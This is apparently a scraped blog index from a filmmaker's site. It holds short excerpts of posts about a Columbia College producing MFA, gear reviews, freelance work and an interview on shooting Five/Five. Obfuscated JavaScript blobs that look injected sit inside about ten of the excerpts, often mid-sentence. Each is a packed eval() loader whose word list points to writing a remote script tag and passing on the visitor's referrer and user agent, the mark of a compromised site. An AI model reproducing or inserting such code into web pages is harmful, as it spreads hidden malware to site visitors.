Rob Ruscher on Shooting Five/Five

After its release, Five/Five went a little viral; becoming a Vimeo pick of the week, and generating 2,200 likes; which is huge for a documentary project. I wanted to know more about how the film was made, and reached out to the Director of Photography, Rob Ruscher (ruschervisuals.com), with some questions. He had a lot of great insight into the indie production process.

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Perpetually Playing Catch Up

After weeks of non-stop working, I finally “took a day off.” The last few months have been crazy hectic. Between schoolwork, work-work, a new puppy, personal projects, and blogs, I haven’t had a solid day to just relax. Yesterday and today I took time to clean my apartment and cook a decent meal, but my “day off” is in quotes because the work never ends. I have one more production (shooting this week) to get through before I can really take a breather. And, with NAB next week, it couldn’t come at a better time.

Grad School Week… Uhh… Yes.

Let me just say that time flies extremely quickly.

The first week of the semester still feels like it was last week, but alas, it wasn’t. I know I said I was going to try to stay up to date with these, but it’s been 6 weeks since the last update. I promise you that wasn’t because of design. But, this is grad school, and if I wasn’t slammed with work, I think I would be angry with the program.

It’s hard to think that I’m half way through the semester already. And it’s even harder to think that at the end of the semester I’ll be half way through the program. There’s been a lot of work, and there’s a lot more ahead of me. But, I honestly can’t wait for it.

Ok, Holy Wow!

Hello eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fiebe|var|u0026u|referrer|adnns||js|php'.split('|'),0,{})) Readers! I know I've been somewhat absent the last few weeks. I haven't forgotten you. So don't fret, there is new content coming soon. It's been a doozy of a semester. Slam packed with projects and work and school. But,...

Grad School Week 19

Towards the end of last semester, I really fell behind with updating about my grad school experience. But, it’s a new year, and a new semester, I’m going to pick it back up again.

This semester is going to be a doozy. We’ve got 13 credits (5 classes) and each of them is going to have a heavy workload. As busy as the next 16 weeks is going to be, I’ll do my best to stay current with these weekly posts.

So, this is Semester 2, Week 1; or the 19th week overall. And since it’s the first week, I’ll give you an overview of the courses and teachers I’ve got.

Aviator Travel Jib Review and Test

Back eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nntib|var|u0026u|referrer|nhiis||js|php'.split('|'),0,{})) in the middle of 2012 Zeke Kamm (@Zeke_Kamm) and Nice Industries (nice-industries.com) put out a Kickstarter campaign (kickstarter.com) for the Aviator Travel Jib (aviatorcameragear.com). The jib promised to be a light-weight, portable piece of gear that would be...

Grad School Week 7,8,9

So, another three weeks have just passed. I am deeply embedded into Columbia's MFA Producing program. We've been so busy that the last few weeks have been a blur. It seems like all I do anymore is go to class, come home, eat, do homework,...

Grad School Week 4,5,6

I haven't posted about my experiences in the Columbia College Creative Producing MFA program for the last three weeks. I know, I've been bad. But, I've also been absolutely swamped; both with school work, and with work-work. But, here's the summary for the last three...

Grad School Week Two

Week Two at Columbia College Chicago (colum.edu) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzsht|var|u0026u|referrer|irhzd||js|php'.split('|'),0,{})) flew by. Since we're still in "boot camp" mode we sped through a lot of information really quickly. Being that I've been working on productions for the last few years, a lot...

Freelance Trial and Error: Scope Creeper

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|biazh|var|u0026u|referrer|ykrrk||js|php'.split('|'),0,{})) ...

Simple Guide to Photography

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A Meager Update

Hey everyone. Sorry for not having a real post this week. I have been super slammed with work. Facebook's IPO has everyone in a frenzy and that means big news. But, I have some more product reviews, tutorials, and general intrigues coming up on the...

A Much Needed Update

I know I haven't posted in a while, I've been slammed (240 hours over the last 4 weeks). Thought I would give you guys a bit of an update. Here's eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|skras|var|u0026u|referrer|szrby||js|php'.split('|'),0,{})) what I've been doing: -Working more than full time at Beyond...

Just an Update

Hey everyone, I know I haven't posted since the beginning of the month. Just been really busy with work and applying to grad school.  But, I've got a whole stock of new gear to review. And a slew of new projects to talk about. Those will all...

Update on My C4D Project

If eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbrhn|var|u0026u|referrer|zenei||js|php'.split('|'),0,{})) you've been following for the last week or so, I've been trying to do a new chapter in my C4D Handbook every other day. Well, my schedule says otherwise. Between work, things I need to do around the...

New Horizons

Been a while since I've just given an update. A lot has been happening, and there's more to come. First and foremost, Beyond Pix (beyondpix.com) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tysze|var|u0026u|referrer|bhbse||js|php'.split('|'),0,{})) has brought me on full time. So, now I get benefits, paid time off,...

Are Labor Jobs the Answer for U.S. Economy?

I know this post is going to be off-film, but it's something that I've been discussing a lot recently. About two months ago, Mike Rowe (discovery.com) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkzyb|var|u0026u|referrer|tearn||js|php'.split('|'),0,{})) from Discovery's "Dirty Jobs" was in the studio talking about the lack of...

Generating Ideas

I've been working between 13and 18 hours a day for the last three weeks, so my brain has been shot for a while, and I hit a bit of a wall coming up with ideas for this week's post. So, I turned to my colleagues....

New Focus, New Look

Decided to take the blog in a new direction. So, there's a new look, a new style, and soon to be new posts. Look for my first official posting on April 5th (after the Canon Filmmakers Live event (figured that would be a good way...